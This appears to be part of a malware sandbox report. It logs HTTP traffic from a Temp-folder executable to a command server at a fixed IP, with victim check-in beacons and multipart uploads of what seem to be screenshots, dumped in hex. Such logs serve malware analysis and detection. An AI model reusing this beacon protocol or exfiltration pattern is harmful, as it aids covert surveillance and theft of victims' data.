Aug 29, 2021 22:28:23.264576912 CEST	15067	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:23.264925003 CEST	15073	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:23.264974117 CEST	15083	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:23.265063047 CEST	15085	OUT	Data Raw: 1f c3 56 c5 cb 8f 7a 91 6e bd 68 f6 70 7d 43 da 54 46 69 86 41 fc 26 9a 55 87 50 45 6b 7d a5 0f 55 14 be 64 2d d5 45 3f 63 17 b3 0f 6c fa a3 23 14 95 ae 52 dd bb 51 f6 4b 73 d3 8a 9f 62 fa 31 fb 75 d5 19 34 56 a9 d3 e3 3d 1a a3 3a 61 ec c2 97 b1 Data Ascii: Vznhp}CTFiA&UPEk}Ud-E?cl#RQKsb1u4V=:a{hx4e0KIt)TUijco"2;\KFKJp1J2n%-4!ih%8RSP(.($ZpSi,ZQIJ--%8SD;H.(&LShG.(>P!FmsG(s
Aug 29, 2021 22:28:23.265103102 CEST	15090	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:23.300180912 CEST	15093	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:23.300221920 CEST	15096	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:23.420929909 CEST	15160	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Aug 29, 2021 22:28:23.442090034 CEST	15160	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:23.519581079 CEST	15161	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49758	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:19.126745939 CEST	3499	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:19.126841068 CEST	3499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:19.127017021 CEST	3509	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:19.127147913 CEST	3512	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:19.165009022 CEST	3525	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:19.165383101 CEST	3532	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:19.165479898 CEST	3537	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:19.203278065 CEST	3545	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:19.203361034 CEST	3564	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:27:19.203380108 CEST	3569	OUT	Data Raw: ff 00 0a eb c5 7e 5e 7c cf 9f 6e 3a e7 ca 38 a8 aa b9 92 5e 66 94 e5 ca db 3b 78 8d ff 00 8e ae 25 95 6e e6 b1 d0 23 72 91 88 4e d9 2e 48 ea 49 ec 3f cf 5a 98 78 0b c3 6c cc 96 93 4d 0d d2 7f cb 48 6e 89 91 4f af 7f e5 4e b1 f3 bf e1 56 47 fd 97 Data Ascii: ~^\|n:8^f;x%n#rN.HI?ZxlMHnONVG?'gwc9ktBg>c?s]49*rQv:9]H9+Gh+_SAJ\8%_oGZ(1ATY%oW/,98]?R,'{5
Aug 29, 2021 22:27:19.203402996 CEST	3574	OUT	Data Raw: 19 f8 79 ce 5e 07 56 3d 4f 97 5e 6c 2a e2 29 d5 9c fd 9b d4 f5 6a 61 f0 d5 68 c2 0a a5 ac 71 29 a6 dd b9 f9 6d e4 3f f0 1a b2 9e 1f d4 1f fe 58 10 3d f8 ae 92 6d 73 48 bc 07 ec da c3 5b 7b 3c 78 ac e9 ed ae ae 01 6b 6f 11 43 2a 9e db f6 d7 42 c6 Data Ascii: y^V=O^l)jahq)m?X=msH[{<xkoCBU{_TI`)gTO]dh{J<?og\ZtQfyS^J>tb[G9EJN~>lJ_Q0LoQaq\y5KK4:9<aNO
Aug 29, 2021 22:27:19.317240953 CEST	3606	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.4	49969	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:23.736783981 CEST	15162	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:23.814192057 CEST	15252	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.4	49970	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:23.738125086 CEST	15162	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:23.738235950 CEST	15162	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:23.738414049 CEST	15172	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:23.738539934 CEST	15175	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:23.770615101 CEST	15178	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:23.770653963 CEST	15181	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:23.770663977 CEST	15183	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:23.770878077 CEST	15195	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:23.770905018 CEST	15198	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:23.770911932 CEST	15201	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:28:23.803239107 CEST	15203	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:23.918560982 CEST	15271	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.4	49971	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:24.011387110 CEST	15272	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:24.090118885 CEST	15272	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.4	49972	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:28.312150955 CEST	15273	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:28.394027948 CEST	15312	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.4	49973	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:28.339996099 CEST	15273	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:28.340094090 CEST	15274	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:28.340269089 CEST	15284	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:28.340393066 CEST	15286	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:28.378813982 CEST	15289	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:28.378916025 CEST	15292	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:28.379004955 CEST	15295	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
